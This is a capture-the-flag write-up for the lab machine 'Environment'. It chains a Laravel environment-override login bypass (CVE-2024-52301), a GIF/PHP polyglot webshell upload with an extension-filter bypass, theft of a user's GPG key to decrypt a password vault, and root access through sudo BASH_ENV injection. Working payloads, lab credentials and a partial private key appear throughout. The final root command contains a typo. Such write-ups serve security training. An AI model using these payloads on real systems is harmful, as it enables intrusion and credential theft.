RECON

Port Scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A standard-issue Linux deployment—no frills, just a surface waiting to be scratched.

Whatweb

Initiate reconnaissance with whatweb:

$ whatweb http://environment.htb

http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.129.▒▒.▒▒], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]

We already have some strong indicators of the underlying tech stack—Laravel Framework detected.

  • Cookies: XSRF-TOKEN, laravel_session
  • HttpOnly: laravel_session → Strong evidence the backend is Laravel (PHP framework).

Port 80 | Laravel

The Laravel-powered web application, themed around environmental awareness, exposes a subscription form that lets users sign up with their email address.

A POST request is sent to the /mailing endpoint:

HTTP
POST /mailing HTTP/1.1
Host: environment.htb
Content-Length: 65
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://environment.htb
Referer: http://environment.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IkI3d0Y3RGJPOTlmSnhmcjNpNlZUVmc9PSIsInZhbHVlIjoiRVRzbnZYOGh0Q1p2aGhvUXlSajRlMlk1ZTBVYkRsQTJIS2NuSXk0b0xyWjVZaVZWWHJNWTBIUDR2ZHZnVC9LTVo4UmlucmtXWlBkdVFQT0NaTDYyeFFMSEUyQkhiYm44ZHdmN3pOTnhxVXpiTGxDSWNPekY4ZWRRbXpidFg5T1UiLCJtYWMiOiJkOTNhOWY1MDQyNzZlY2YzMjFhMWE5ZjkyNjhjOGRmYmY1M2FmYzZiY2Q2OWZjYzFiMDY0ZTg2Yjg2YmY0YmZjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdhWk1oWGEyaDBMK3ZUdld1UEJoNVE9PSIsInZhbHVlIjoid2k0aVRjT0lSVDl6aURUYW9SMVBnNDRvUTJXRUpDSVdCM1ZEL0l4M2NxRWhoMjN4VHFpbCtTNEk2VHFyZklzYUhTR05KYUR2UFJoa1doN1A3eGJiQUV2N09hQ0tId3I5VWh4WVllZ29GaDFkU1cwOGJGR1RPZit2Tnh0ek1EeXkiLCJtYWMiOiI2NjlhNjgwMjBlMmM5ZjM3NjE3MjllNjMyNTAxNjczMThhNGRhOWVkOTgxYmFmYzMzZWQzNDQ2ZGY0ZjYzYjcyIiwidGFnIjoiIn0%3D
Connection: keep-alive

[email protected]&_token=jFSFAEFqwjvk2gZwvEmO7FcOa9oGrQ6fjJsaJoOh

The CSRF token (_token) is embedded within the HTML:

JavaScript
 <form id="mailingListForm">
   <input type="hidden" name="_token" value="jFSFAEFqwjvk2gZwvEmO7FcOa9oGrQ6fjJsaJoOh" autocomplete="off">       <input type="text" id="email" name="email" placeholder="Email" style="width: 400px; height: 35px; font-size: 15px; border:none; text-indent: 8px;"><br>
   <input type="submit" value="Join!" style="font-size: 15px; width: 400px; margin-top: 10px; height: 30px; background-color: #2a7f62; border: none; color: white; font-weight: bold; cursor: pointer">
 </form>

However, issuing a GET request to the same endpoint triggers a verbose exception page—Laravel's Ignition debug interface. Jackpot:

htb_environment_2_mailing

This tells us two critical things:

  • The server is running in debug mode: APP_DEBUG=true
  • We're handed raw stack trace with real file paths, line numbers, and exception messages

From the error trace:

  • PHP: 8.2.28
  • Laravel: 11.30.0
  • Stack trace entry: public/index.php:17

This is a classic Laravel misconfiguration—debug mode left enabled in production—revealing internal mechanics of the framework. For an attacker, it's like x-raying the application with the developer's own tools.

Dirsearch

The site appeared deceptively barren, offering little beyond an email subscription prompt. So, I turned to the age-old recon weapon—directory brute-forcing:

$ dirsearch -u 'http://environment.htb' -x 399-499

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266

Target: http://environment.htb/

[01:09:43] Scanning:
[01:23:55] 301 -   169B - /build  ->  http://environment.htb/build/
[01:29:29] 200 -     0B - /favicon.ico
[01:32:37] 200 -    4KB - /index.php
[01:32:50] 200 -    2KB - /index.php/login/
[01:34:33] 200 -    2KB - /login
[01:35:06] 302 -   358B - /logout/  ->  http://environment.htb/login
[01:35:07] 302 -   358B - /logout  ->  http://environment.htb/login
[01:41:53] 200 -    24B - /robots.txt
[01:44:33] 301 -   169B - /storage  ->  http://environment.htb/storage/

Task Completed

A few standout entries caught my attention—most notably, /login:

htb_environment_3_login

As a usual test routine, we tampered with the remember parameter during login by sending a malformed value. And just like that, Laravel's debug handler (Ignition) lit up again—exposing another full stack trace:

htb_environment_4_err

WEB

Laravel

Environment-Based Auth Bypass

Laravel's debug handler didn't just expose stack traces—it dropped breadcrumbs straight to the dev's backdoor.

The leaked snippet from routes/web.php confirmed a careless but classic logic flaw:

PHP
	  $keep_loggedin = False;
} elseif ($remember == 'True') {
    $keep_loggedin = True;
}

if ($keep_loggedin !== False) {
// TODO: Keep user logged in if he selects "Remember Me?"
}

if (App::environment() == "preprod") {
    $request->session()->regenerate();
    $request->session()->put('user_id', 1);
    return redirect('/management/dashboard');
}

$user = User::where('email', $email)->first();

That preprod check is a hardcoded bypass—meant for local testing, never meant to reach production. If triggered, the app sidesteps all auth checks, fabricates a session, and grants admin access (user_id = 1)—no password, no verification.

But here's the twist: we don't need access to Laravel's config files to change the environment. Enter: CVE-2024-52301.

CVE-2024-52301

Laravel Environment Override

Laravel, when determining the current App::environment(), looks at the argv array—which normally comes from CLI input.

However, if:

  • php.ini has register_argc_argv = On
  • PHP is running in a web server context (not CLI)
  • And the HTTP request includes ?argv[]=--env=ENVNAME

Then Laravel would mistakenly parse that argv as if it were passed via the command line and override the environment with the attacker-controlled value—this is the mechanism of CVE-2024-52301.

Since the app contains logic like:

PHP
if (App::environment() == 'preprod') {
    // backdoor behavior for auth bypass
}

Under default php.ini settings (register_argc_argv = On), this becomes a major attack vector. A malicious HTTP request with:

HTTP
?argv[]=--env=preprod

Where argv[] is the query parameter. It injects fake CLI arguments into the app—Laravel thinks it's been launched in a different environment.

This vulnerability can be applied to any URL—like:

HTTP
POST http://environment.htb/login?=--env=preprod

Now App::environment() will return preprod, even if the real environment was production—the backdoor logic is executed remotely via a web request.

PoC

Laravel versions affected by CVE-2024-52301:

  • < 6.20.45
  • < 7.30.7
  • < 8.83.28
  • < 9.52.17
  • < 10.48.23
  • < 11.31.0 ← our target is 11.30.0 → vulnerable

The vulnerable source code in Laravel 11.30.0 from /src/Illuminate/Foundation/Application.php at line 760:

PHP
public function detectEnvironment(Closure $callback)
{
    $args = $_SERVER['argv'] ?? null;

    return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}

Therefore, if this target runs Laravel 11.30.0 and register_argc_argv = On (default in many setups), then we can test with an HTTP request like:

HTTP
POST /login?--env=preprod HTTP/1.1
Host: environment.htb
Content-Type: application/x-www-form-urlencoded

_token=<csrf_token>&[email protected]&password=123&remember=True

Triggers the backdoor:

PHP
if (App::environment() == "preprod") {
    session()->put('user_id', 1);
}

And Laravel obliges—grants a session and redirects us to /management/dashboard as the privileged user Hish:

htb_environment_5_bypass-auth

Upload Bypass

Inside the management panel at /management/profile, we spotted an upload form:

htb_environment_6_upload

The upload endpoint enforced a content-type check, but not well enough. By faking the start of an image file (GIF89a) and appending a PHP payload, we can try to create a polyglot file:

POST /upload HTTP/1.1
Host: environment.htb
[...]
Cookie: XSRF-TOKEN=eyJ...; laravel_session=eyJ...
Connection: keep-alive

------WebKitFormBoundaryb7czDiXUFKDk5fp0
Content-Disposition: form-data; name="_token"

RK66D6GeajRlnIYA1pnSHZTILaTFqtsiq857eRhH
------WebKitFormBoundaryb7czDiXUFKDk5fp0
Content-Disposition: form-data; name="upload"; filename="shell.gif"
Content-Type: image/gif

GIF89a
<?php @eval($_REQUEST["x"]);?>
------WebKitFormBoundaryb7czDiXUFKDk5fp0--

The upload succeeded, returning a publicly accessible path:

GET http://environment.htb/storage/files/shell.gif

This is absolutely a potential PHP webshell upload primitive, as long as we can bypass the WAF.

The server seems only restrict the extension .php, but not any others. We tested a few vectors:

  • .php5 → not executed
  • .phtml → not interpreted
  • .php.bypassed sanitization, parsed as PHP

A trailing dot is all it took to fool the filter and restore the .php extension:

htb_environment_7_test

As a result, the file was saved and served as shell.php, fully parsed by the server.

Use some webshell management tool. e.g., AntSword, to try to connect through our payload, and landed a fully interactive PHP webshell as www-data:

htb_environment_8_as

Foothold achieved. Webroot breached.

USER

Internal Enum

With a foothold as www-data, we pivoted into deeper reconnaissance.

First target: .env file at /var/www/app/.env. Classic Laravel deployment slip. We extract the APP_KEY, confirm the environment is production:

APP_NAME=Laravel
APP_ENV=production
APP_KEY=base64:BRhzmLIuAh9UG8xXCPuv0nU799gvdh49VjFDvETwY6k=
[...]

Then comes the jackpot (rabbit hole)—an SQLite database file lying exposed in the web root:

htb_environment_9_db

Brute-forcing attempts proved fruitless—these are high-cost bcrypt hashes and cracking them in CTF time isn't practical.

Still, one thing comes clear: hish is our next escalation target. We verify it:

www-data@environment:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
[...]
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
_laurel:x:999:996::/var/log/laurel:/bin/false

The web user has read-execute access to /home/hish, granting a peek into sensitive territory:

www-data@environment:~$ ls -l /home

total 4
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 hish

Looks like there're plenty of interesting things inside hish home directory:

htb_environment_10_user

User flag recovered—without needing to escalate yet. An unexpected bonus, this could be unintendedly misconfigured.

GPG Abuse

While the user.txt flag was prematurely world-readable, we will need to compromise the hish user for further exploit.

We uncovered /home/hish/backup/keyvault.gpg, alongside a full .gnupg/ directory:

www-data@environment:/home/hish$ ls backup
keyvault.gpg

www-data@environment:/home/hish$ ls -lah .gnupg
total 32K
drwxr-xr-x 4 hish hish 4.0K May  5 01:05 .
drwxr-xr-x 5 hish hish 4.0K Apr 11 00:51 ..
drwxr-xr-x 2 hish hish 4.0K May  5 01:05 openpgp-revocs.d
drwxr-xr-x 2 hish hish 4.0K May  5 01:05 private-keys-v1.d
-rwxr-xr-x 1 hish hish 1.5K Jan 12 03:13 pubring.kbx
-rwxr-xr-x 1 hish hish   32 Jan 12 03:11 pubring.kbx~
-rwxr-xr-x 1 hish hish  600 Jan 12 11:48 random_seed
-rwxr-xr-x 1 hish hish 1.3K Jan 12 11:48 trustdb.gpg

That screams one thing: GPG in active use.

The routine of decrypting GPG (GNU Privacy Guard) protected data was also introduced in the DarkCorp writeup.

The .gnupg directory contains the user's GPG (PGP) keypairs and metadata, used for:

  • Email encryption/signing
  • Secure backups
  • Software signing
  • Secrets encryption (e.g., git-crypt, pass)

And we have:

ComponentPurpose
.gnupg/private-keys-v1.dContains GPG private keys, could be encrypted with a passphrase
.gnupg/pubring.kbxPublic keyring — shows key ID, fingerprint, user email
backup/keyvault.gpgA GPG-encrypted file — maybe secrets, SSH keys, DB credentials, or something custom

But www-data had read access, not write—and no agent socket:

www-data@environment:/home/hish$ gpg --homedir /home/hish/.gnupg --list-secret-keys

gpg: WARNING: unsafe ownership on homedir '/home/hish/.gnupg'
gpg: Note: trustdb not writable
gpg: failed to create temporary file '/home/hish/.gnupg/.#lk0x0000564cfdf3f010.environment.13055': Permission denied
gpg: can't connect to the agent: Permission denied

www-data lacks write access to /home/hish/.gnupg—GPG relies on an agent and writable keyring environment. So we do what any hacker would:

Bash
cp -r /home/hish/.gnupg /tmp/gnupg_hish
chmod -R 700 /tmp/gnupg_hish
chown -R www-data:www-data /tmp/gnupg_hish

We cloned the entire keyring to /tmp—this allowed us to safely run gpg as www-data without permission errors under our own sandboxedGNUPGHOME to export an ASCII-armored file, namely the full secret key:

Bash
GNUPGHOME=/tmp/gnupg_hish gpg --export-secret-keys -a > /tmp/hish_private.asc

Verify the exported key:

cat /tmp/hish_private.asc

-----BEGIN PGP PRIVATE KEY BLOCK-----

lQOYBGeCmI0BCADXSkEBADG/ojZVS3xEXr/mvrScJF9pGwqJW/sppu8lKWJP1HUG
PrJGe1X99VSBonb+6PHkKMmck3xOtS0sE51Kv3xIKmhOy0+e93C3KWoI36hRna85
En9pS27CDRTqQweqR4qqB65Rl3JrFx1skGQxKYa5tskzZmXCnzIBvQV2+YDNL87j
[...]
SyVJHCXa7kqyDRRlBiMMpdO53JEtmV026cJLtou6TILClczZ/v8Sr4FlaSQOn3OB
ES298pnGb6KrvK7pOw1w2JeOz7wyZP6YZLgM91TRvQjCOmjeqcgCyjw2smQEs8q8
F9Xp7au8A1E4fEjDbLUYjY4MP9Hh805TbJnNfjGU
=MzqF
-----END PGP PRIVATE KEY BLOCK-----

Importit back into GPG under www-data:

www-data@environment:/home/hish$ GNUPGHOME=/tmp/gnupg_hish gpg --import /tmp/hish_private.asc
gpg: key 12F42AE5117FFD8E: "hish_ <[email protected]>" not changed
gpg: key 12F42AE5117FFD8E: secret key imported
gpg: Total number processed: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:  secret keys unchanged: 1

www-data@environment:/home/hish$ GNUPGHOME=/tmp/gnupg_hish gpg --list-secret-keys
/tmp/gnupg_hish/pubring.kbx
---------------------------
sec   rsa2048 2025-01-11 [SC]
      F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid           [ultimate] hish_ <[email protected]>
ssb   rsa2048 2025-01-11 [E]

Once imported, we decrypt the sensitive file from the server (keyvault.gpg), with the master key to the vault:

www-data@environment:/home/hish$ GNUPGHOME=/tmp/gnupg_hish gpg --decrypt /home/hish/backup/keyvault.gpg

gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <[email protected]>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

That's our pivot. We now own Hish's password for some services.

And accordingly, the one marineSPm@ster!! is for ENVIRONMENT.HTB, that we can try it with SSH login as user hish:

htb_environment_11_hish

A example of key exfiltration and environment pivot, leveraging GPG weakness and readable permissions.

ROOT

Sudo

Privilege escalation came down to one sudo script:

hish@environment:~$ sudo -l

Matching Defaults entries for hish on environment:
	env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
	(ALL) /usr/bin/systeminfo
	
hish@environment:~$ ls -l /usr/bin/systeminfo
-rwxr-xr-x 1 root root 452 Jan 12 12:11 /usr/bin/systeminfo

/usr/bin/systeminfo — executable as root via sudo by user hish.

Running it returns system diagnostic output:

### Displaying kernel ring buffer logs (dmesg) ###
[    4.999107] Initialized host personality
[    5.005875] NET: Registered PF_VSOCK protocol family
[...]

### Checking system-wide open ports ###
State        Recv-Q        Send-Q               Local Address:Port               Peer Address:Port       Process
LISTEN       0             128                        0.0.0.0:22                      0.0.0.0:*           users:(("sshd",pid=934,fd=3))
LISTEN       0             511                        0.0.0.0:80                      0.0.0.0:*           users:(("nginx",pid=937,fd=5),("nginx",pid=936,fd=5),("nginx",pid=935,fd=5))
[...]

### Displaying information about all mounted filesystems ###
sysfs        on  /sys                                                 type  sysfs        (rw,nosuid,nodev,noexec,relatime)
proc         on  /proc                                                type  proc         (rw,relatime,hidepid=invisible)
[...]

### Checking system resource limits ###
real-time non-blocking time  (microseconds, -R) unlimited
core file size              (blocks, -c) 0
[...]

### Displaying loaded kernel modules ###
Module                  Size  Used by
tcp_diag               16384  0
[...]

### Checking disk usage for all filesystems ###
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           392M  688K  391M   1% /run
[...]

This appears to be a Linux runtime diagnostics utility, exposing kernel-level data.

Code Review

Inspecting the source of /usr/bin/systeminfo, we find:

Bash
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h

This Bash script collects general system diagnostics. It reads:

  • Kernel logs via dmesg
  • Socket information via ss
  • Mounted file systems via mount
  • Shell limits via ulimit
  • Kernel modules via lsmod
  • Disk usage via df

The script serves as a simple diagnostic utility. However, it references all binaries via relative commands, not absolute paths—leaving it open to command hijacking via PATH injection.

Exploit

None of the binaries used are referenced with absolute paths, for example:

Bash
dmesg | tail -n 10   # ← vulnerable
mount | column -t    # ← vulnerable

Since the script is allowed to be run via sudo (sudo /usr/bin/systeminfo), we can try to exploit this by the classic PATH injection:

hish@environment:~$ cd /tmp

hish@environment:/tmp$ echo -e '#!/bin/bash\n/bin/bash' > /tmp/dmesg

hish@environment:/tmp$ chmod +x /tmp/dmesg

hish@environment:/tmp$ ls -l dmesg
-rwxr-xr-x 1 hish hish 22 May  5 11:15 dmesg

Fails:

hish@environment:/tmp$ sudo PATH=/tmp:$PATH /usr/bin/systeminfo
sudo: sorry, you are not allowed to set the following environment variables: PATH

This is due to secure_path enforced by sudo:

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

However, env_keep+="ENV BASH_ENV" opens the door for environmental variable injection.

env_keep+="ENV BASH_ENV"

So instead of trying to override PATH, we can inject code into the shell before any command executes by using a fake BASH_ENV.

We craft a malicious BASH_ENV that overrides PATH:

Bash
echo 'export PATH=/tmp:$PATH' > /tmp/env.sh
chmod +x /tmp/env.sh

Exploit via BASH_ENV:

Bash
sudo BASH_ENV=/tmp/env.sh /usr/bin/systeminfo

Executed:

htb_environment_12_env

Command hijack confirmed, but dmesg | tail -n 10 gives minimal output, while the rest of the systeminfo script continued to run, limiting direct payload visibility.

Instead, we can simply escalate silently with this final version:

Bash
echo 'cp /bin/bash /tmp/cat && chmod +s /tmp cat' > /tmp/env.sh
chmod +x /tmp/env.sh
sudo BASH_ENV=/tmp/env.sh /usr/bin/systeminfo

Now we spawn a root shell:

htb_environment_13_root

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)